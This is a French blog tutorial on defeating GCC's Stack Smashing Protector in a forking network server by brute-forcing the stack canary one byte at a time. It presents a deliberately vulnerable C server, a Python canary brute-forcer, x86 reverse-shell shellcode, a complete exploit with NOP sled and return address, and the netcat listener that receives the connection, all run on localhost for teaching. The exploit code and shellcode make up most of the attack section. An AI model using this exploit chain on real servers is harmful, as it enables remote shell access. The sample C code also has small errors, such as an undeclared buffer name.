Buffer overflow : Stack Smashing Protector

Buffer overflow : Stack Smashing Protector

Attaquons-nous à présent à une autre protection (oui, encore une !) destinée à empêcher un buffer overflow : la « Stack Smashing Protector » et, comme nous allons le voir, bien qu'elle soit efficace, elle peut être contournée dans certains cas précis.

La Stack Smashing Protector

Abrégée souvent par « SSP », il s'agit d'une extension du compilateur GCC. Cette extension a pour but de rendre infernale la vie des hackers grâce à quelques petits octets.

Voici à quoi ressemble la pile sans cette protection.

+-------------+
|     sEIP    |
+-------------+
|     sEBP    |
+-------------+
|   Padding   |
+-------------+
|             |
|  Variables  |
|             |
+-------------+

Maintenant, la même chose mais avec SSP activé.

+-------------+
|     sEIP    |
+-------------+
|     sEBP    |
+-------------+
|   Padding   |
+-------------+
|    Canary   |
+-------------+
|             |
|  Variables  |
|             |
+-------------+

Comme vous pouvez le remarquer, une petite zone mémoire est venue se glisser entre le padding et nos variables. Cette zone, on l'appelle le « canary » (pour la petite histoire, ce nom est une référence aux canaries utilisés dans les mines de charbon. Ils servaient, en quelque sorte, d'alertes biologiques pour les fuites de gaz toxiques car affectés avant les mineurs). Cette valeur, souvent de 4 octets pour du 32 bit et de 8 octets pour du 64 bit (mais on peut préciser sa taille), est aléatoire et change à chaque lancement du programme. Elle sert à « vérifier » qu'il n'y a pas eu de débordement. En effet, si l'on veut atteindre la sauvegarde de EIP, nous sommes obligés d'écraser la valeur du canary. Avant de sortir de la fonction, on vérifie que la valeur du canary est bien celle qui a été déposée au début sur la pile. Si c'est bien le cas, l'exécution se poursuit normalement. Par contre, si la valeur a été modifiée, le programme s'arrêtera immédiatement.

Infranchissable ? Pas toujours...

Comme dit plus haut, la valeur du canary est purement aléatoire, espérez tomber dessus par hasard relèverait du miracle (pour du 32 bit, ça équivaut à 1 chance sur 4294967296 et pour du 64 bit, 1 chance sur... 18446744073709551616). Cependant, dans des cas bien particuliers, il est possible de contourner cette protection autrement que par un sacré coup de chance.

Voici le code du petit programme serveur en C que nous utiliserons (tiré de cet article de Geluchat).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

int ssock;

void bar(int *sock)
{
    char buffer[256];
    memset(buffer, '\0', 256);
    read(*sock, buffer, 512);
}

int foo(void)
{
    int csock;
    struct sockaddr_in caddr;
    socklen_t clen = sizeof(caddr);
    char buffer[512];

    if( (csock = accept(ssock, (struct sockaddr *) &caddr, &clen)) < 0)
    {
        exit(1);
    }

    memset(buff, '\0', 512);

    bar(&csock);
    send(csock, "Recu", 5, 0);
    close(csock);

    return 0;
}

int main(void)
{
    int pid, flag = 1;
    struct sockaddr_in saddr;

    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = htonl(INADDR_ANY);
    saddr.sin_port = htons(6789);

    while(1)
    {
        pid = fork();

        if( pid == 0 )
        {
            if( (ssock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
            {
                exit(1);
            }

            if(setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(int)) <0)
            {
                exit(1);
            }

            if( bind(ssock, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) {
                exit(1);
            }

            if( listen(ssock, 5) < 0)
            {
                exit(1);
            }

            foo();
        }
        else
        {
            wait(NULL);
            close(ssock);
        }
    }

    return 0;
}

Vous pouvez remarquer le joli buffer overflow (volontaire bien entendu, c'est pour la beauté de l'exemple) dans la fonction foo() : la fonction read() peut copier 512 caractères alors que le buffer ne peut en contenir que 256. Si j'ai utilisé la fonction read() plutôt qu'un classique strcpy(), c'est pour une raison que j'évoquerai par la suite.

Le bypass ASLR/NX ne faisant pas spécialement partie de cet article, nous les désactiverons afin de nous faciliter la tâche et surtout de nous concentrer uniquement sur la protection SSP, qui elle sera activée grace à l'option -fstack-protector (et non plus -fno-stack-protector comme on le faisait auparavant).

# Désactivation de l'ASLR
root@hacktion:~$ echo 0 > /proc/sys/kernel/randomize_va_space
que20@hacktion:~$ gcc -m32 -fstack-protector -z execstack ssp.c -o ssp

On ouvre un terminal et on lance notre serveur.

que20@hacktion:~$ ./ssp

On ouvre un second terminal et nous allons donner à manger à notre serveur, qui attend patiemment sur le port 6789.

que20@hacktion:~$ echo "AAAAAA" | nc localhost 6789
Recu
que20@hacktion:~$

Nous recevons le message « Recu », ce qui nous indique que tout s'est bien passé : le serveur a bien reçu les données et les a copiées dans le buffer, ensuite il nous a répondu.

Maintenant, soyons plus vilains : envoyons lui 400 caractères dans la panse ! Pour rappel, la taille du buffer fait dans lequel les données sont copiées est de 256 octets donc on peut supposer que ça ne va pas très bien se passer. :D

que20@hacktion:~$ python -c 'print "A"*400' | nc localhost 6789
que20@hacktion:~$

Tiens ? Aucune réponse de notre serveur !

Par contre, si on analyse le terminal dans lequel est lancé le serveur, on aperçoit ce message.

*** stack smashing detected ***: ./ssp terminated

Ce message est, je pense, on ne peut plus clair : la valeur du canary a été modifiée et le programme (ou plutôt le processus dans ce cas-ci) s'est arrêté.

Bon, tout ça c'est bien joli, mais ça ne nous dit pas vraiment pourquoi ce cas-ci nous intéresse en particulier. En fait, ici, nous avons affaire à un programme initialisant un processus lors de chaque connexion. Un processus, voyez ça comme une instance du programme (je ne vais pas rentrer dans les détails, le but n'est pas de faire un cours de programmation système). C'est ce que fait la fonction fork() : elle permet de « copier » un processus en cours. Autrement dit, à chaque connexion, on instancie une « copie » de notre programme. Ca veut dire aussi que son contexte d'exécution sera également copié.

Vous ne voyez pas le problème ? Non ? Vraiment pas ? Bon aller, je ne vais pas vous faire attendre plus longtemps : si le contexte d'exécution est « bêtement » copié, cela veut dire... que notre canary l'est également ! Autrement dit, dans ce cas-ci, à chaque connexion, notre canary restera... inchangé ! Et ça, ça nous arrange fortement ! La bonne méthode aurait été d'utiliser, en plus du fork(), un execve(), ce qui aurait permis de « renouveler » le processus et, par conséquent, le canary aussi.

Imaginons que notre canary est 0x01020304.

Tentons ceci.

que20@hacktion:~$ python -c 'print "A"*256 + "\x01"' | nc localhost 6789
que20@hacktion:~$

Pas de réponse. On peut en déduire que le dernier octet du canary n'est pas 0x01. Pour rappel, mon processeur est de type little-endian, ce qui veut dire en gros que les bytes doivent être lus de droite à gauche. Nous sommes donc actuellement en train de d'écraser le dernier octet (0x04) et non pas le premier.

On continue sur la même lancée.

que20@hacktion:~$ python -c 'print "A"*256 + "\x02"' | nc localhost 6789
que20@hacktion:~$
que20@hacktion:~$ python -c 'print "A"*256 + "\x03"' | nc localhost 6789
que20@hacktion:~$
que20@hacktion:~$ python -c 'print "A"*256 + "\x04"' | nc localhost 6789
Recu
que20@hacktion:~$

Ah ! Nous avons obtenu une réponse pour le dernier test ! On peut donc en déduire que le dernier octet du canary est 0x04 !

Et pour trouver les autres octets, il suffit de procéder de la même façon. :)

que20@hacktion:~$ python -c 'print "A"*256 + "\x04\x01"' | nc localhost 6789
que20@hacktion:~$ python -c 'print "A"*256 + "\x04\x02"' | nc localhost 6789
que20@hacktion:~$ python -c 'print "A"*256 + "\x04\x03"' | nc localhost 6789
Recu
que20@hacktion:~$ python -c 'print "A"*256 + "\x04\x03\x01"' | nc localhost 6789
que20@hacktion:~$ python -c 'print "A"*256 + "\x04\x03\x02"' | nc localhost 6789
Recu
que20@hacktion:~$ python -c 'print "A"*256 + "\x04\x03\x02\x01"' | nc localhost 6789
Recu
que20@hacktion:~$

Et voilà ! Nous avons trouvé la valeur de notre canary : 0x01020304. Donc, si on écrase le canary par cette valeur (qui est la même que celle de départ), la protection n'y verra que du feu vu qu'elle ne se déclenche que si la valeur du canary a été modifiée, or ici nous l'écrasons avec sa valeur de départ donc pas de modification et nous pouvons ainsi, malgré cette protection, déborder et contrôler notre sauvegarde d'EIP pour finalement mener à bien notre exploitation !

Dans ton c** Titi ! :P

Bon, on a pris un cas imagé mais... si on faisait cela en vrai de vrai, histoire de vous montrer que je ne vous raconte pas de conneries ? _^

Exploitation

La forme de notre payload sera la suivante (je vais vous épargner les divers tests pour trouver les offsets exacts bien qu'il n'y a en fait que le padding qui ne m'était pas connu).

    +----------------------------------------------------+
   \|/                                                   |
[NOPSLED][SHELLCODE][  CANARY  ][ PADDING][  sEBP  ][  sEIP  ]
[    256 octets    ][ 4 octets ][8 octets][4 octets][4 octets]

Ce genre d'exploitation peut s'avérer long si on décide de le faire à la main d'où l'utilité de savoir se programmer un petit exploit (c'est faisable à la mano hein, mais bon autant se faire un exploit qui fera le boulot à notre place, c'est plus rapide et puis ça permet de se faire la main avec python).

Il est important de signaler aussi que sur ma version de GCC (la 4.9.2), le canary se termine TOUJOURS par un null-byte. C'est cette raison qui a fait que j'ai été forcé d'utiliser la fonction read() plutôt que strcpy() car cette dernière s'arrête de copier dès qu'elle rencontre un null byte, ce qui aurait annihilé l'exploitation, alors que read() gère très bien les null-bytes. Ce genre d'obstacle a été spécialement implémenté pour éviter ce type d'exploitation. Tous les canary ne sont dont pas forcément « bypassables ».

Voici mon exploit en python permettant de trouver la valeur du canary pour notre programme.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import struct
import subprocess

canary = ""
index = 0
char = 0

# Notre canary faisant 4 octets
while index != 4:
    output = ""
    # On remet char au premier caractère à tester : le null-byte
    char = 0
    # Tant qu'on a pas la chaîne Recu en sortie
    while "Recu" not in output:
        # Si char vaut 256 c'est qu'on a testé toutes les possibilités sans rien trouver donc on quitte
        if char == 256:
            print "[+] Impossible de trouver le canary"
            exit(-1)
        # Création du pipe
        p = subprocess.Popen(['nc', 'localhost', '6789'], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
        # Envoi des données et récupération de la sortie
        output = p.communicate(input="A"*256 + canary + str(chr(char)))[0]
        # Incrémentation pour passer au caractère suivant
        char += 1
    # Si on arrive là c'est qu'on est sorti de la boucle donc qu'on a trouvé un octet du canary
    canary += str(chr(char-1))
    # On passe à l'octet suivant
    index += 1

# On inverse les octets pour obtenir la bonne chaîne
canary = ''.join(reversed(canary))

# Affichage du canary
print "[+] Canary : 0x" + canary.encode("hex")

Testons le plusieurs fois afin de constater ce que nous avons dit plus haut.

que20@hacktion:~$ python exploit_ssp.py
[+] Canary : 0x1079c900
que20@hacktion:~$ python exploit_ssp.py
[+] Canary : 0x1079c900
que20@hacktion:~$ python exploit_ssp.py
[+] Canary : 0x1079c900
que20@hacktion:~$ 

Comme vous pouvez le voir, le canary ne bouge pas. Il ne changera que lorsque l'on relancera le programme (et pas simplement une connexion à ce dernier).

D'ailleurs, relançons notre serveur ainsi que notre exploit.

que20@hacktion:~$ python exploit_ssp.py
[+] Canary : 0x5bc44d00
que20@hacktion:~$ python exploit_ssp.py
[+] Canary : 0x5bc44d00
que20@hacktion:~$ python exploit_ssp.py
[+] Canary : 0x5bc44d00
que20@hacktion:~$ 

Cette fois-ci, le canary a bien changé mais il ne change toujours pas entre chaque connexion, ce qui permet de le bruteforcer octet par octet.

Pour la suite, il s'agit d'une exploitation tout à fait classique. Enfin, il faut juste préciser que dans notre cas, il s'agit d'un programme serveur sur lequel nous n'aurions, en temps normal, pas accès. Il serait alors inutile d'ouvrir un shell du coté serveur puisqu'on ne pourrait pas voir ce qu'il s'y passe. Il faut que ce shell soit accessible coté client. Ce que l'on fait généralement dans ce cas là, c'est que le hacker ouvre volontairement un port en attente d'une connexion sur sa machine et le shellcode envoyé va « forcer » le serveur à venir se connecter à ce port. Pourquoi agir de cette façon et pas inversement ? Tout simplement parce que ce sont généralement les connexions entrantes qui sont filtrées. Il faudrait alors trouver un port ouvert et non filtré sur le serveur et il y a de fortes chances pour que le firewall nous emmerde. Alors que dans ce cas-ci, on se fout de tout ça parce que c'est nous, bien au chaud chez nous, qui allons ouvrir un port en attente d'une connexion. Il s'agira alors pour le serveur d'une connexion sortante et non plus entrante et ça, ça ne pose généralement pas de problème, même vis-à-vis du firewall qui nous laissera gentiment sortir ! On parle généralement de « Reverse Shell » pour désigner cette technique et ce type de buffer overflow est généralement précédé de « Remote » pour préciser que la faille et le programme se trouve sur une machine distante.

On pourrait traduire tout ça par : « Si la machine A (le hacker) ne vient pas à la machine B (le serveur), la machine B (le serveur) ira à la machine A (le hacker) ».

Voici le shellcode que nous utiliserons. Il a une longueur de 74 octets.

\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xIP\xIP\xIP\xIP\x66\x68\xPORT\xPORT\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

Il n'y a plus qu'à trouver une adresse de retour valide et comme nous avons désactivé ASLR et NX, ça va être très simple puisqu'on peut injecter notre shellcode dans les 256 octets de notre buffer et remplacer le reste par des NOP. On trouve une adresse sur laquelle sauter parmis ce NOPSLED et le tour est joué ! :D

Sortons ce cher gdb !

que20@hacktion:~$ gdb -q ./ssp
Reading symbols from ./ssp...(no debugging symbols found)...done.
gdb-peda$ disass bar
Dump of assembler code for function bar:
   0x080486bb <+0>:     push   ebp
   0x080486bc <+1>:     mov    ebp,esp
   0x080486be <+3>:     sub    esp,0x128
   0x080486c4 <+9>:     mov    eax,DWORD PTR [ebp+0x8]
   0x080486c7 <+12>:    mov    DWORD PTR [ebp-0x11c],eax
   0x080486cd <+18>:    mov    eax,gs:0x14
   0x080486d3 <+24>:    mov    DWORD PTR [ebp-0xc],eax
   0x080486d6 <+27>:    xor    eax,eax
   0x080486d8 <+29>:    sub    esp,0x4
   0x080486db <+32>:    push   0x100
   0x080486e0 <+37>:    push   0x0
   0x080486e2 <+39>:    lea    eax,[ebp-0x10c]
   0x080486e8 <+45>:    push   eax
   0x080486e9 <+46>:    call   0x8048550 <memset@plt>
   0x080486ee <+51>:    add    esp,0x10
   0x080486f1 <+54>:    mov    eax,DWORD PTR [ebp-0x11c]
   0x080486f7 <+60>:    mov    eax,DWORD PTR [eax]
   0x080486f9 <+62>:    sub    esp,0x4
   0x080486fc <+65>:    push   0x200
   0x08048701 <+70>:    lea    edx,[ebp-0x10c]
   0x08048707 <+76>:    push   edx
   0x08048708 <+77>:    push   eax
   0x08048709 <+78>:    call   0x80484c0 <read@plt>
   0x0804870e <+83>:    add    esp,0x10
   0x08048711 <+86>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048714 <+89>:    xor    eax,DWORD PTR gs:0x14
   0x0804871b <+96>:    je     0x8048722 <bar+103>
   0x0804871d <+98>:    call   0x80484d0 <__stack_chk_fail@plt>
   0x08048722 <+103>:   leave  
   0x08048723 <+104>:   ret    
End of assembler dump.
gdb-peda$ b *bar+103
Breakpoint 1 at 0x8048722
gdb-peda$ r
Starting program: ~/ssp 
[New process 12135]

Du coté client on balance notre NOPSLED suivi de notre shellcode.

que20@hacktion:~$ python -c 'print "\x90"*182 + "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x01\x0f\x66\x68\xb3\xd0\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"' | nc localhost 6789

Maintenant du coté serveur, on affiche l'état de la pile pour trouver notre NOSPLED et choisir une adresse de retour valable.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fa7000 --> 0x1a8da8 
ECX: 0xffffd41c --> 0x90909090 
EDX: 0x200 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd528 --> 0xffffd768 --> 0xffffd798 --> 0x0 
ESP: 0xffffd400 --> 0xffffd468 --> 0x90909090 
EIP: 0x8048722 (<bar+103>:      leave)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048714 <bar+89>:  xor    eax,DWORD PTR gs:0x14
   0x804871b <bar+96>:  je     0x8048722 <bar+103>
   0x804871d <bar+98>:  call   0x80484d0 <__stack_chk_fail@plt>
=> 0x8048722 <bar+103>: leave  
   0x8048723 <bar+104>: ret    
   0x8048724 <foo>:     push   ebp
   0x8048725 <foo+1>:   mov    ebp,esp
   0x8048727 <foo+3>:   sub    esp,0x228
[------------------------------------stack-------------------------------------]
0000| 0xffffd400 --> 0xffffd468 --> 0x90909090 
0004| 0xffffd404 --> 0xf7ffda8c --> 0xf7fd9b28 --> 0xf7ffd930 --> 0x0 
0008| 0xffffd408 --> 0x0 
0012| 0xffffd40c --> 0xffffd544 --> 0x4 
0016| 0xffffd410 --> 0x1 
0020| 0xffffd414 --> 0x0 
0024| 0xffffd418 --> 0x1 
0028| 0xffffd41c --> 0x90909090 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048722 in bar ()
gdb-peda$ x/100x $esp
0xffffd400:     0xffffd468      0xf7ffda8c      0x00000000      0xffffd544
0xffffd410:     0x00000001      0x00000000      0x00000001      0x90909090
0xffffd420:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd430:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd440:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd450:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd460:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd470:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd480:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd490:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4d0:     0x58666a90      0x315b016a      0x6a5352d2      0xcde18902
0xffffd4e0:     0x66b09280      0x01a8c068      0xb368660f      0x536643d0
0xffffd4f0:     0x106ae189      0xe1895251      0x6a80cd43      0xda875902
0xffffd500:     0x80cd3fb0      0xb0f97949      0xca89410b      0x2f2f6852
0xffffd510:     0x2f686873      0x896e6962      0x0a80cde3      0xcd946100
0xffffd520:     0xf7f29936      0xf7f299cd      0xffffd768      0x080487a3
0xffffd530:     0xffffd544      0x00000000      0x00000200      0x00000002
0xffffd540:     0xf7e06d78      0x00000004      0x00000010      0xf2c30002
0xffffd550:     0x0100007f      0x00000000      0x00000000      0x00000000
0xffffd560:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd570:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd580:     0x00000000      0x00000000      0x00000000      0x00000000
gdb-peda$ 

Et voilà ! On possède toutes les infos nécessaires. On va donc un peu modifier notre exploit.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import struct
import subprocess

canary = ""
index = 0
char = 0

# Notre canary faisant 4 octets
while index != 4:
    output = ""
    # On remet char au premier caractère à tester : le null-byte
    char = 0
    # Tant qu'on a pas la chaîne Recu en sortie
    while "Recu" not in output:
        # Si char vaut 256 c'est qu'on a testé toutes les possibilités sans rien trouver donc on quitte
        if char == 256:
            print "[+] Impossible de trouver le canary"
            exit(-1)
        # Création du pipe
        p = subprocess.Popen(['nc', 'localhost', '6789'], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
        # Envoi des données et récupération de la sortie
        output = p.communicate(input="A"*256 + canary + str(chr(char)))[0]
        # Incrémentation pour passer au caractère suivant
        char += 1
    # Si on arrive là c'est qu'on est sorti de la boucle donc qu'on a trouvé un octet du canary
    canary += str(chr(char-1))
    # On passe à l'octet suivant
    index += 1

# On inverse les octets pour obtenir la bonne chaîne
canary = ''.join(reversed(canary))

# NOPSLED
payload = "\x90"*182
# Shellcode
payload += "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\xb3\xd0\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
# Canary
payload += struct.pack("<I", int("0x"+canary.encode("hex"), 16))
# Padding + sEBP
payload += "A"*12
# sEIP
payload += "\x60\xd4\xff\xff"

print payload

Avant de le lancer, n'oublions pas d'ouvrir une connexion sur un de nos ports.

que20@hacktion:~$ nc -l -vv -p 46032
listening on [any] 46032 ...

J'ai également remarqué que lorsque j'essaye de passer directement le résultat de l'exploit, j'ai un saut de ligne qui vient s'incruster et qui fout le bordel. On va donc d'abord insérer le résultat de l'exploit dans un fichier, supprimer ce saut de ligne puis envoyer le contenu du fichier via un pipe et si tout se passe correctement, on devrait être notifié d'une connexion sur notre port en écoute (le 46032).

que20@hacktion:~$ python exploit_ssp.py > powned.txt
que20@hacktion:~$ cat powned.txt | xxd
0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000b0: 9090 9090 9090 6a66 586a 015b 31d2 5253  ......jfXj.[1.RS
00000c0: 6a02 89e1 cd80 92b0 6668 7f01 0101 6668  j.......fh....fh
00000d0: b3d0 4366 5389 e16a 1051 5289 e143 cd80  ..CfS..j.QR..C..
00000e0: 6a02 5987 dab0 3fcd 8049 79f9 b00b 4189  j.Y...?..Iy...A.
00000f0: ca52 682f 2f73 6868 2f62 696e 89e3 cd80  .Rh//shh/bin....
0000100: 0087 c72e 4141 4141 4141 4141 4141 4141  ....AAAAAAAAAAAA
0000110: 60d4 ffff 0a                             `....
que20@hacktion:~$ 

Vous pouvez remarquer le 0x0a tout à la fin qui représente le saut de ligne. On édite le fichier avec un éditeur de texte afin de le virer.

EDIT : Il semble que la fonction print de python ajoute automatiquement ce retour chariot.

Pour afficher un message sans retour chariot avec Python 2.

import sys

sys.stdout.write("Il n'y aura pas de retour chariot à la fin de ce message")

Pour afficher un message sans retour chariot avec Python 3, on peut spécifier le paramètre end de la fonction print (par défaut, c'est un retour chariot).

print("Il n'y aura pas de retour chariot à la fin de ce message", end="")

Et maintenant : FINISH HIM !!

que20@hacktion:~$ cat powned.txt | nc localhost 6789

Si nous regardons le terminal où netcat est lancé, nous voyons, avec une immense satisfaction, la ligne suivante s'ajouter.

connect to [127.0.0.1] from localhost [127.0.0.1] 56585

Exploitation réussie ! :D

Conclusion

La Stack Smashing Protector est une protection efficace mais, dans certains cas, elle s'avère totalement insuffisante. Il faut préciser aussi qu'elle protège d'un overflow mais pas des autres exploitations telles que les format strings puisqu'il n'y a pas de débordement avec ce type de faille. Un autre cas où cette protection est inefficace serait un pointeur de fonction (pointeur qui, comme la sauvegarde de EIP, pointe sur une zone destinée à être exécutée). En effet, le canary se plaçant après l'espace alloué pour les variables locales, il n'empêchera nullement l'écrasement du pointeur de fonction. Des mesures de sécurité supplémentaires ont également été ajoutées comme le fait, ce qui était d'ailleurs le cas ici, d'ajouter des null-bytes dans le canary empêchant l'exploitation via des fonctions qui arrêtent la copie dès qu'elles rencontrent un null-byte.

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.